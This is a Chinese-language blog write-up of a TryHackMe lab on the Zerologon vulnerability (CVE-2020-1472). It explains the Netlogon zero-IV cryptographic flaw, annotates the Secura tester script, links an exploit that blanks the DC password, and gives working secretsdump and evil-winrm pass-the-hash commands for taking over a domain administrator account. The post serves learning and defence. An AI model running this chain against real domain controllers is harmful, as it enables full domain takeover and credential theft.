漏洞简介
windows
域控中严重的远程提取漏洞,通过使用Netlogon
远程协议(MS-NRPC)连接域控制器来获得域管理员权限漏洞分析:
关于
netlogon
协议:Client Challenge
:$8$ 字节,攻击者可控Server Challenge
:$8$ 字节,由域控生成,攻击者不可控,但可通过多次发起连接来重新生成secret
:用户密码hash
challenges
:Client Challenge+Server Challenge
Session key
:AES
的加密密钥,由secret
和challenge
生成Client credential
:$8$ 字节,由Session key
和client challenge
加密生成,方式是AES-CFB8
:黄色部分是 $16$ 字节的初始向量
IV
,蓝色部分为明文,对应client challenge
其对明文的每个字节加密,由 $16$ 字节的初始化向量
IV
作为输入进行AES
得到一个输出,取输出第一个字节与明文第一个字节作异或,得到第一个字节的密文继续由后 $15$ 字节的
IV
加上第一个字节的密文作为输入进行AES
得到一个输出,取输出第一字节与明文第二字节作异或,得到第二个字节的密文以此类推得到 $8$ 字节密文作为
Client credential
但微软错误的将 $16$ 字节的
IV
设置为全 $0$ ,而考虑到密文的生成过程:此时若第一步运算结果为 $00$ ,且明文部分也为人为制造的全 $0$ :由后几步的运算过程和结果均与第一步相同,即最终生成的密文全 $0$而对于
AES
运算,输入全 $0$ ,改变密钥就可以爆破出加密结果为 $00$ 的情况上文提到,密钥
Session key=secret+challenges
,而secret
为密码hash
保持不变,client challenge
为可控输入,已为全 $0$ ,可变量只剩域控制器随机生成的server challenge
那么不断发起新连接,直至
AES
输出的第一个字节为 $00$ ,此时就可以用 $8$ 个字节全为 $00$ 的client credential
完成域身份认证,理论上平均 $2^8$ 次碰撞即可在整个碰撞过程中,
session key
始终未知,可以通过设置flag
使之后过程不使用其进行加密而每个操作的调用都需要包含验证值,需要攻击者提供一个全零验证和一个全零时间戳来绕过
利用
NetrServerPasswordSet2
调用更新密码,在该远程调用的过程中会发送新密码的密文,长度为 $516$ 比特,后四 $bit$ 表示密码长度由于该密文是由
session key
加密的,同理会为全 $0$ ,根据上面的加密算法反推,其真实的密码的明文也是 $0$ 并且长度为 $0$ ,这样就置空了server
密码。攻击者使用
impacket
的secretdump
,可以dump
域内用户hash
,包括域控管理员poc
分析https://raw.githubusercontent.com/SecuraBV/CVE-2020-1472/master/zerologon_tester.py
76-86
1
2
3
4
5
6
7
8
9
10
11if __name__ == '__main__':
if not (3 <= len(sys.argv) <= 4):
print('Usage: zerologon_tester.py <dc-name> <dc-ip>\n')
print('Tests whether a domain controller is vulnerable to the Zerologon attack. Does not attempt to make any changes.')
print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.')
sys.exit(1)
else:
[_, dc_name, dc_ip] = sys.argv
dc_name = dc_name.rstrip('$')
perform_attack('\\\\' + dc_name, dc_ip, dc_name)朴实的主函数,确保变量中只有 $3$ 个:
zerologon_tester.py
DCNAME
IP
并且消去
DCNAME
前面的$
符号57-73
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16def perform_attack(dc_handle, dc_ip, target_computer):
print('Performing authentication attempts...')
rpc_con = None
for attempt in range(0, MAX_ATTEMPTS):
rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)
if rpc_con == None:
print('=', end='', flush=True)
else:
break
if rpc_con:
print('\nSuccess! DC can be fully compromised by a Zerologon attack.')
else:
print('\nAttack failed. Target is probably patched.')
sys.exit(1)第四行重复至多
MAX_ATTEMPTS
次来爆破server client
20-25
1
2
3
4
5
6def try_zero_authenticate(dc_handle, dc_ip, target_computer):
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')
rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
rpc_con.connect()
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)3-6
行在使用NRPC
来和域控制器建立联系调用
hept.map
生成netlogon
服务的RPC
绑定字符串,其中nrpc.MSRPC_UUID_NRPC
为Netlogon
服务的UUID
,并指定协议为TCP
随后创建并返回一个基于
DC RPC
绑定的DCERPC
连接对象并建立联系,将
RPC
连接绑定到netlogon
服务27-45
1
2
3
4
5
6
7
8
9
10
11plaintext = b'\x00' * 8
ciphertext = b'\x00' * 8
flags = 0x212fffff
nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)
try:
server_auth = nrpc.hNetrServerAuthenticate3(rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,target_computer + '\x00', ciphertext, flags)
assert server_auth['ErrorCode'] == 0
return rpc_con设置 $8$ 字节的全 $0$ 的明文和密文,设置的
flags
如上文所说,会防止使用session key
加密随后调用
hNetrServerReqChallenge
发送身份验证的挑战请求try
语句用于尝试身份验证,调用hNetrServerAuthenticate3
函数向DC
发送身份验证请求。ServerSecureChannel
指定通信通道类型如果DC返回0的错误码,则身份验证成功。
但很显然这个只有验证没有攻击,攻击参考 https://raw.githubusercontent.com/Sq00ky/Zero-Logon-Exploit/master/zeroLogon-NullPass.py
答案可以在这里找到
实验
扫一下先:
拿到
DC name
为DC01
直接脚本:
可以看到已经置空密码
接下来用
secretdump
来获取用户密码hash
这里由于我用的
attackbox
,已经有集成的工具了:1
secretsdump.py -just-dc -no-pass DC01\$@10.10.3.200
拿到的这些可以考虑去爆破密码
但这里直接使用
evil-winrm
登录管理员账户:1
evil-winrm -u Administrator -H 3f3ef89114fb063e3d7fc23c20f65568 -i 10.10.3.200
THM学习日寄15-Zerologon (CVE-2020-1472)
- 本文链接: http://noone40404.github.io/2024/10/26/THM打靶学习15:zero logon/
- 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!